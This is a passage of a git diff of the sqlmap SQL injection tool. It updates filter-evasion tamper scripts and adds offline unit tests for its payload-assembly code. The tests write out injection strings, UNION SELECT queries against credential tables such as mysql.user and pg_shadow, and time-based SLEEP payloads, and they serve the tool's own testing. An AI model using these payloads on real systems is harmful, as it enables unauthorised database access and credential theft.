index 80258af5b94..b255baeb163 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,7 +9,7 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.HIGHEST def dependencies(): pass diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 2b286553dba..c8007d67c17 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re + from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST @@ -20,4 +22,4 @@ def tamper(payload, **kwargs): '-1 UNION SELECT' """ - return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload + return re.sub(r"(?i)UNION\s+ALL\s+SELECT", "UNION SELECT", payload) if payload else payload diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index b8e04f8d6b0..5ccde715b9d 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index c2a03025c6f..81774a99968 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 09cb37f7b2b..92fb98cb3fd 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index cfd116e16f6..3ee8e1aca73 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -46,7 +46,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 1e2de36bde0..e53d0235ac8 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -47,7 +47,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 79edb8b01fd..110bbbfd6f1 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 00000000000..a856b1ebc2d --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared bootstrap for the sqlmap unit/regression test suite. + +Brings sqlmap's global state (conf/kb, the 'reversible' codec, cross-references, +option defaults) up far enough that pure/near-pure library functions can be +exercised in isolation - WITHOUT a live target, network, or DBMS. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import warnings + +# Quieten import-time noise before any sqlmap/3rd-party module is imported by bootstrap(): +# e.g. cryptography's "Python 2 is no longer supported" CryptographyDeprecationWarning via pymysql. +warnings.filterwarnings("ignore", message=".*Python 2 is no longer supported.*") +warnings.filterwarnings("ignore", category=DeprecationWarning) +# sqlmap reconfigures stdout at startup; py3 emits a benign RuntimeWarning about line buffering +warnings.filterwarnings("ignore", message=".*line buffering.*binary mode.*") + +_BOOTSTRAPPED = False +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +def bootstrap(): + """Idempotently initialize sqlmap global state for testing.""" + global _BOOTSTRAPPED + if _BOOTSTRAPPED: + return + + if ROOT not in sys.path: + sys.path.insert(0, ROOT) + # a dummy target so cmdLineParser() populates ALL option defaults without erroring; + # save/restore the real argv so the unittest runner isn't confused by it + _orig_argv = list(sys.argv) + sys.argv = ["sqlmap.py", "-u", "http://test.invalid/?id=1"] + + from lib.core.common import setPaths + from lib.core.patch import dirtyPatches, resolveCrossReferences + setPaths(ROOT) + dirtyPatches() # registers the 'reversible' codec error handler, etc. + resolveCrossReferences() + + from lib.core.option import _setConfAttributes, _setKnowledgeBaseAttributes, _loadQueries + _setConfAttributes() + _setKnowledgeBaseAttributes() + _loadQueries() # populate the `queries` dict from queries.xml (needed by dialect builders) + + from lib.core.data import conf, kb + from lib.core.defaults import defaults + from lib.parse.cmdline import cmdLineParser + + args = cmdLineParser() + parsed = args.__dict__ if hasattr(args, "__dict__") else dict(args) + for k, v in parsed.items(): + conf[k] = v + # overlay canonical defaults for options left None (sqlmap does this during init) + for k, v in defaults.items(): + if conf.get(k) is None: + conf[k] = v + + kb.binaryField = False # normally set lazily during extraction + + # Silence sqlmap's application logger - tests assert on results, not log output, and the + # INFO/WARNING/ERROR chatter (column counts, reflective-value notices, an intentionally + # malformed-deflate error, etc.) just clutters the unittest report. + import logging + logging.getLogger("sqlmapLog").setLevel(logging.CRITICAL + 1) + + # Some console output bypasses the logger entirely and goes straight through dataToStdout(): + # the \r-progress lines ("[INFO] retrieved: ...", "[INFO] cracked password ..."), and the echo + # of batch-auto-answered readInput() prompts (the fingerprint-mismatch prompt, the LIKE/exact + # and common-wordlist choices, ...). dataToStdout() only writes forced output or when + # kb.wizardMode is False, and readInput() echoes with forceOutput=not kb.wizardMode - so setting + # wizardMode keeps the unittest report to just dots. wizardMode is read ONLY by dataToStdout/ + # readInput (plus the interactive wizard flow, unused here), so this has no effect on results. + kb.wizardMode = True + + sys.argv = _orig_argv # restore so unittest's arg parsing works + _BOOTSTRAPPED = True + + +def set_dbms(name): + """Force the identified back-end DBMS for dialect-dependent functions. + + Uses forceDbms (not setDbms) so switching DBMS repeatedly in one process does + not trigger the interactive fingerprint-mismatch prompt. + """ + from lib.core.common import Backend + from lib.core.data import kb + kb.stickyDBMS = False + Backend.forceDbms(name) + + +def reset_dbms(): + """Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state. + + A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a + module that forces one without clearing it would leak that back-end into later test modules + (order-dependent flakiness). Modules that call set_dbms() should expose this as their + `tearDownModule` so the leak can never cross a module boundary. + """ + from lib.core.common import Backend + from lib.core.data import kb + from lib.core.settings import UNKNOWN_DBMS_VERSION + Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False + kb.resolutionDbms = None + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] + + +# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- + +_PROPERTY_BASE = 0x51A1 + + +class Rng(object): + """Deterministic, cross-version-identical PRNG (a pure-integer LCG, no global state). + + sqlmap runs on Python 2.7 and 3.x, whose stdlib `random` yield DIFFERENT sequences + for the same seed - and `random.Random` instance methods are not unified by + patch.unisonRandom() (which only patches the module-level random.choice/randint/ + sample/seed). Property tests need inputs that are byte-for-byte identical on every + interpreter so a CI-only failure reproduces everywhere; integer math is identical + across versions, so this LCG (same constants as unisonRandom) guarantees it by + construction. Draw ONLY through these methods - never random.random()/shuffle()/etc. + """ + + def __init__(self, seed): + self.x = seed & 0xFFFFFF + + def _next(self): + self.x = (1140671485 * self.x + 128201163) % (2 ** 24) + return self.x + + def randint(self, a, b): + return a + self._next() % (b - a + 1) + + def choice(self, seq): + return seq[self.randint(0, len(seq) - 1)] + + def sample(self, seq, k): + # Note: with replacement (matches unisonRandom's _sample); fine for input generation + return [self.choice(seq) for _ in range(k)] + + def blob(self, n): + return bytes(bytearray(self.randint(0, 255) for _ in range(n))) + + +def _label_offset(label): + # stable across versions/runs (unlike hash(), which varies with PYTHONHASHSEED): just sum bytes + return sum(bytearray((label or "").encode("utf-8"))) * 7919 + + +def for_all(testcase, generator, prop, n=400, label=""): + """Property runner: draw `n` cases from generator(rng) and assert prop(case) holds. + + `prop` passes by returning True/None, fails by returning False or raising. On any + failure the EXACT offending input and its case index are reported; the same input + is reproducible (and identical on every interpreter) via Rng(seed_for(label, i)). + """ + base = _PROPERTY_BASE + _label_offset(label) + for i in range(n): + case = generator(Rng(base + i)) + try: + ok = prop(case) + except Exception as ex: + testcase.fail("%s: raised %r on input %r (case %d)" % (label or "property", ex, case, i)) + return + if ok is False: + testcase.fail("%s: property does not hold on input %r (case %d)" % (label or "property", case, i)) + return diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 00000000000..211fbb7fd8a --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,774 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Consolidated unit coverage for lib/core/agent.py. + +This file merges the agent.py tests previously spread across +test_agent.py, test_agent_dialects.py, test_core_more.py and +test_core_extra.py: + + * Payload assembly helpers (DBMS-independent string transforms that wrap, + fold and clean a payload on its way to the wire): prefix/suffix, payload + delimiters, field extraction, CONCAT folding, RAND-marker cleanup. + + * Cross-dialect exercise of the payload-assembly helpers. agent.py builds SQL + payloads from per-DBMS dialect templates (queries.xml); the helpers are pure + given the identified back-end DBMS, so driving each one across EVERY + supported dialect walks the dialect-specific branches (CAST forms, + concatenation operators, LIMIT/TOP/ROWNUM shapes, ...) without a live target. + + * Argument-combination / shape coverage for forgeUnionQuery, limitQuery, + whereQuery, getComment, concatQuery(unpack=False), cleanupPayload markers, + adjustLateValues, getFields shapes, prefix/suffix args, nullAndCastField + noCast, plus the pure agent helpers (extractPayload/replacePayload, ...). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import conf, kb, queries +from lib.core.enums import DBMS +from lib.core.settings import ( + PAYLOAD_DELIMITER, + SLEEP_TIME_MARKER, + BOUNDED_BASE64_MARKER, +) + +DIALECTS = sorted(queries.keys()) + +# --------------------------------------------------------------------------- # +# Per-dialect expectation maps (keyed by the DBMS display name == queries key). +# +# These were derived by inspecting the actual agent.py output for every dialect +# (the queries.xml templates drive the branches). They pin the *distinctive* +# dialect token so an assertion fails if the dialect branch collapses to the +# wrong form (e.g. concat operator swapped, null-wrapper dropped). +# --------------------------------------------------------------------------- # + +# concatQuery / simpleConcatenate join operator per dialect. +CONCAT_OPERATOR = { + "ClickHouse": "CONCAT(", + "Informix": "CONCAT(", + "MySQL": "CONCAT(", + "SAP MaxDB": "CONCAT(", + "Microsoft SQL Server": "+", + "Sybase": "+", + "Microsoft Access": "&", +} +# everything not listed above uses the SQL standard "||" +CONCAT_OPERATOR_DEFAULT = "||" + +# nullAndCastField / nullCastConcatFields NULL-wrapper function per dialect. +NULL_WRAPPER = { + "Altibase": "NVL", + "Apache Derby": "COALESCE", + "ClickHouse": "ifNull", + "CrateDB": "COALESCE", + "Cubrid": "IFNULL", + "Firebird": "COALESCE", + "FrontBase": "COALESCE", + "H2": "IFNULL", + "HSQLDB": "IFNULL", + "IBM DB2": "COALESCE", + "Informix": "NVL", + "InterSystems Cache": "COALESCE", + "Mckoi": "IF(", + "Microsoft Access": "IIF", + "Microsoft SQL Server": "ISNULL", + "MimerSQL": "COALESCE", + "MonetDB": "COALESCE", + "MySQL": "IFNULL", + "Oracle": "NVL", + "PostgreSQL": "COALESCE", + "Presto": "COALESCE", + "Raima Database Manager": "IFNULL", + "SAP HANA": "IFNULL", + "SAP MaxDB": "VALUE", + "SQLite": "COALESCE", + "Snowflake": "NVL", + "Spanner": "IFNULL", + "Sybase": "ISNULL", + "Vertica": "COALESCE", + "Virtuoso": "__MAX_NOTNULL", + "eXtremeDB": "IFNULL", +} + +# hexConvertField: dialects that DO have a hex function, mapped to its token. +HEX_FUNCTION = { + "Altibase": "HEX_ENCODE(", + "Cubrid": "HEX(", + "H2": "RAWTOHEX(", + "IBM DB2": "HEX(", + "Microsoft SQL Server": "fn_varbintohexstr", + "MySQL": "HEX(", + "Oracle": "RAWTOHEX(", + "PostgreSQL": "ENCODE(", + "Presto": "TO_HEX(", + "SAP HANA": "BINTOHEX(", + "SAP MaxDB": "HEX(", + "SQLite": "HEX(", + "Spanner": "TO_HEX(", + "Sybase": "BINTOSTR", + "Vertica": "TO_HEX(", +} +# dialects that intentionally do NOT support hex conversion and return the +# field unchanged (a no-op the old "colname in out" check silently masked). +HEX_NOOP = set(DIALECTS) - set(HEX_FUNCTION) + +# limitQuery: dialects whose limit template is empty so the call legitimately +# raises (no .limit.query). These are skipped by name in the limit-token test. +LIMIT_RAISES = {"Mckoi", "Raima Database Manager"} +# dialects with no special limitQuery branch: the query is returned unchanged +# (no limit token is emitted). +LIMIT_PASSTHROUGH = {"Informix", "Microsoft Access", "SAP MaxDB"} +# broad set of dialect limit tokens; every running, non-passthrough dialect +# emits at least one of these. +LIMIT_TOKENS = ("LIMIT", "TOP", "ROWNUM", "FETCH", "ROWS", "OFFSET", "ROW_NUMBER") + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +# --------------------------------------------------------------------------- # +# Single-DBMS payload-assembly helpers (formerly test_agent.py) +# --------------------------------------------------------------------------- # + +class TestPayloadDelimiters(unittest.TestCase): + def test_add(self): + self.assertEqual(agent.addPayloadDelimiters("1 AND 1=1"), + "%s1 AND 1=1%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) + + def test_remove(self): + wrapped = "%spayload%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER) + self.assertEqual(agent.removePayloadDelimiters(wrapped), "payload") + + def test_remove_none_is_none(self): + self.assertIsNone(agent.removePayloadDelimiters(None)) + + def test_roundtrip(self): + for p in ["1=1", "1 AND SLEEP(5)", "' OR '1'='1", "", "a%sb" % "x"]: + self.assertEqual(agent.removePayloadDelimiters(agent.addPayloadDelimiters(p)), p, + msg="delimiter round-trip for %r" % p) + + +class TestPrefixSuffix(unittest.TestCase): + def test_prefix_default_pads_space(self): + # with no configured prefix, a single leading space is prepended + self.assertEqual(agent.prefixQuery("1=1"), " 1=1") + + def test_suffix_default_identity(self): + self.assertEqual(agent.suffixQuery("1=1"), "1=1") + + +class TestGetFields(unittest.TestCase): + def test_extracts_select_list(self): + # getFields(query) returns an 8-tuple; the fields-bearing slots are: + # [0],[1] = regex match objects for the SELECT/expression (must be found, not None) + # [5] = parsed field list, [6] = raw fields string + # (asserting the match objects guards against a refactor that silently shifts the tuple) + result = agent.getFields("SELECT a,b FROM t") + self.assertIsNotNone(result[0], msg="getFields did not match the SELECT") + self.assertEqual(result[5], ["a", "b"]) + self.assertEqual(result[6], "a,b") + + +class TestConcatQuery(unittest.TestCase): + def test_mysql_concat_folding(self): + set_dbms(DBMS.MYSQL) + q = agent.concatQuery("SELECT a FROM t") + # folds the field through CONCAT with the start/stop delimiters and keeps the FROM + self.assertTrue(q.startswith("CONCAT("), msg=q) + self.assertIn("IFNULL(CAST(a AS NCHAR),' ')", q) + self.assertTrue(q.endswith("FROM t"), msg=q) + + +class TestCleanupPayload(unittest.TestCase): + def test_randnum_marker_replaced_with_digits(self): + out = agent.cleanupPayload("SELECT [RANDNUM]") + self.assertNotIn("[RANDNUM]", out, msg="marker not replaced: %r" % out) # actually substituted + self.assertTrue(out.startswith("SELECT "), msg=out) + self.assertTrue(out.split()[-1].isdigit(), msg=out) # ...and replaced with a concrete number + + +# --------------------------------------------------------------------------- # +# Cross-dialect smoke coverage (formerly test_agent_dialects.py) +# --------------------------------------------------------------------------- # + +class TestNullCastConcatFields(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullCastConcatFields("user,password") + self.assertIsInstance(out, str, msg=dbms) + # both column names survive the null/cast/concat rewrite + self.assertIn("user", out, msg=dbms) + self.assertIn("password", out, msg=dbms) + # the dialect-specific NULL-wrapper must be present (the column-name + # check above is always satisfied and so cannot catch a broken + # branch); this fails if the wrapper collapses to the wrong form. + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + def test_literal_passthrough(self): + for dbms in DIALECTS: + set_dbms(dbms) + # a bare quoted literal is returned untouched + self.assertEqual(agent.nullCastConcatFields("'abc'"), "'abc'", msg=dbms) + + +class TestNullAndCastField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullAndCastField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + # dialect-specific NULL wrapper (IFNULL/COALESCE/NVL/ISNULL/IIF/...) + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + +class TestHexConvertField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.hexConvertField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + if dbms in HEX_FUNCTION: + # the dialect's hex function wraps the field + self.assertIn(HEX_FUNCTION[dbms], out, msg="%s: %s" % (dbms, out)) + else: + # intentional no-op: the field is returned verbatim. The old + # "colname in out" check masked this; pin the exact identity. + self.assertEqual(out, "colname", msg="%s expected no-op: %s" % (dbms, out)) + + +class TestConcatQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.concatQuery("SELECT user FROM users") + self.assertIsInstance(out, str, msg=dbms) + # concatQuery output is dialect-specific: MySQL/ClickHouse/Informix/ + # SAP MaxDB use CONCAT(...), MSSQL/Sybase use +, Access uses &, and + # the rest use the SQL-standard ||. Assert the right operator so the + # test fails if the dialect collapses to the wrong concatenation. + expected = CONCAT_OPERATOR.get(dbms, CONCAT_OPERATOR_DEFAULT) + self.assertIn(expected, out, msg="%s: %s" % (dbms, out)) + + +class TestSimpleConcatenate(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.simpleConcatenate("a", "b") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("a", out, msg=dbms) + self.assertIn("b", out, msg=dbms) + + +class TestForgeUnionQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + count = 3 + out = agent.forgeUnionQuery("SELECT user FROM users", -1, count, None, + None, None, "NULL", None) + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("UNION", out.upper(), msg=dbms) + # position -1 with char NULL fills every one of the `count` columns + # with the char, so the NULL char must appear exactly `count` times. + # (a hardcoded "UNION in out" check could not catch a wrong column + # count.) Match NULL as a whole token to avoid matching substrings. + self.assertEqual(re.findall(r"\bNULL\b", out).__len__(), count, + msg="%s expected %d NULLs: %s" % (dbms, count, out)) + + +class TestLimitQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + + # Only Mckoi/Raima have an empty limit template and legitimately + # raise; skip exactly those by name rather than swallowing *any* + # exception (which would hide a real regression in another dialect). + if dbms in LIMIT_RAISES: + with self.assertRaises(Exception, msg=dbms): + agent.limitQuery(0, "SELECT user FROM users", "user") + continue + + out = agent.limitQuery(0, "SELECT user FROM users", "user") + self.assertIsInstance(out, str, msg=dbms) + + if dbms in LIMIT_PASSTHROUGH: + # these dialects have no dedicated limitQuery branch and return + # the query unchanged (documented no-op). + self.assertEqual(out, "SELECT user FROM users", msg=dbms) + else: + # every other running dialect emits a real limit construct + self.assertTrue(any(tok in out.upper() for tok in LIMIT_TOKENS), + msg="%s missing limit token: %s" % (dbms, out)) + + +class TestForgeCaseStatement(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.forgeCaseStatement("1=1") + self.assertIsInstance(out, str, msg=dbms) + # dialects vary on the conditional form (CASE / IIF / IF); the + # condition itself is always embedded + self.assertIn("1=1", out, msg=dbms) + # ...but the conditional construct itself must also be present, + # otherwise the "1=1" check alone could pass on a degenerate output. + self.assertTrue("CASE" in out or "IIF" in out or "IF(" in out, + msg="%s missing conditional construct: %s" % (dbms, out)) + + +class TestPrefixSuffixAcrossDialects(unittest.TestCase): + def test_prefix_suffix(self): + for dbms in DIALECTS: + set_dbms(dbms) + prefix = agent.prefixQuery("1=1") + suffix = agent.suffixQuery("1=1") + self.assertIsInstance(prefix, str, msg=dbms) + self.assertIsInstance(suffix, str, msg=dbms) + # prefixQuery pads a leading space ahead of the expression by default + self.assertEqual(prefix, " 1=1", msg="%s prefix: %r" % (dbms, prefix)) + # suffixQuery returns the expression itself (no extra clause/comment) + self.assertEqual(suffix, "1=1", msg="%s suffix: %r" % (dbms, suffix)) + + +class TestRunAsDBMSUserAndWhere(unittest.TestCase): + def test_run_as_user_noop_without_conf(self): + for dbms in DIALECTS: + set_dbms(dbms) + # without conf.dbmsCred the query is returned unchanged + self.assertEqual(agent.runAsDBMSUser("SELECT 1"), "SELECT 1", msg=dbms) + + +# --------------------------------------------------------------------------- # +# Argument-combination / shape coverage (formerly test_core_more.py) +# --------------------------------------------------------------------------- # + +class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): + """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" + + def test_limited_subselect_wraps_query(self): + set_dbms(DBMS.MYSQL) + # limited=True wraps the payload as (SELECT ...) at `position`, fills the + # rest with `char`, and appends the FROM/comment/suffix + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, + None, None, "NULL", None, limited=True) + self.assertIn("(SELECT user FROM mysql.user)", out) + self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) + # position 1 of 3 => NULL,<payload>,NULL + self.assertEqual(out.count("NULL"), 2, msg=out) + + def test_multiple_unions_appends_second_select(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, + "NULL", None, multipleUnions="b") + # the multipleUnions payload produces a *second* UNION ALL SELECT + self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) + self.assertIn("b", out) + + def test_from_table_override(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", + None, fromTable=" FROM dummytable") + self.assertIn("FROM dummytable", out, msg=out) + + def test_into_outfile_forces_null_position(self): + set_dbms(DBMS.MYSQL) + # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part + out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", + 1, 2, None, None, None, "NULL", None) + self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) + + def test_collate_clause_on_mysql(self): + set_dbms(DBMS.MYSQL) + # collate=True on MySQL wraps a non-NULL, non-numeric value in the + # MYSQL_UNION_VALUE_CAST collation wrapper + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, + None, None, "NULL", None, collate=True) + self.assertIn("CONVERT", out.upper(), msg=out) + + +class TestLimitQuery(DbmsStateMixin, unittest.TestCase): + """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" + + def test_no_from_returns_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") + + def test_mysql_appends_limit_offset_one(self): + set_dbms(DBMS.MYSQL) + out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") + self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) + + def test_pgsql_offset_form(self): + set_dbms(DBMS.PGSQL) + out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") + self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) + + def test_oracle_rownum_wrap(self): + set_dbms(DBMS.ORACLE) + out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) + # Oracle wraps in a ROWNUM-bounded subselect ending with =<num+1> + self.assertIn("ROWNUM", out.upper(), msg=out) + self.assertTrue(out.rstrip().endswith("=3"), msg=out) + + def test_firebird_first_skip(self): + set_dbms(DBMS.FIREBIRD) + out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") + self.assertIsInstance(out, str) + self.assertIn("foo", out) + # Firebird uses ROWS <num+1> TO <num+1> (the FIRST/SKIP emulation); pin + # the exact shape so a broken offset arithmetic is caught. + self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) + + def test_mssql_top_not_in(self): + set_dbms(DBMS.MSSQL) + out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") + # MSSQL emulates LIMIT via TOP + NOT IN + self.assertIn("TOP", out.upper(), msg=out) + self.assertIn("NOT IN", out.upper(), msg=out) + + +class TestWhereQuery(DbmsStateMixin, unittest.TestCase): + """whereQuery only acts when conf.dumpWhere is set.""" + + def setUp(self): + DbmsStateMixin.setUp(self) + self._dumpWhere = conf.dumpWhere + self._tbl = conf.tbl + + def tearDown(self): + conf.dumpWhere = self._dumpWhere + conf.tbl = self._tbl + DbmsStateMixin.tearDown(self) + + def test_no_dumpwhere_is_identity(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = None + self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t") + self.assertIn("WHERE id>10", out, msg=out) + + def test_existing_where_gets_anded(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t WHERE b=1") + self.assertIn("AND id>10", out, msg=out) + + def test_order_by_suffix_preserved(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t ORDER BY a") + # the genuine trailing ORDER BY is kept after the spliced WHERE + self.assertIn("WHERE id>10", out, msg=out) + # the ORDER BY must survive *after* the spliced WHERE clause; the + # substring check alone could pass even if the suffix were dropped. + self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) + + +class TestGetComment(unittest.TestCase): + def test_present(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") + + def test_absent_returns_empty(self): + from lib.core.datatype import AttribDict + self.assertEqual(agent.getComment(AttribDict()), "") + + +class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): + def test_unpack_false_returns_input_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), + "SELECT a FROM t") + + def test_pgsql_unpack_uses_pipe_concat(self): + set_dbms(DBMS.PGSQL) + out = agent.concatQuery("SELECT usename FROM pg_shadow") + self.assertIn("||", out, msg=out) + self.assertIn(kb.chars.start, out, msg=out) + self.assertIn(kb.chars.stop, out, msg=out) + + +class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): + def test_origvalue_digit_inlined(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") + self.assertEqual(out, "x=42") + + def test_origvalue_nondigit_quoted(self): + out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") + self.assertIn("'abc'", out, msg=out) + + def test_original_marker_raw_substitution(self): + out = 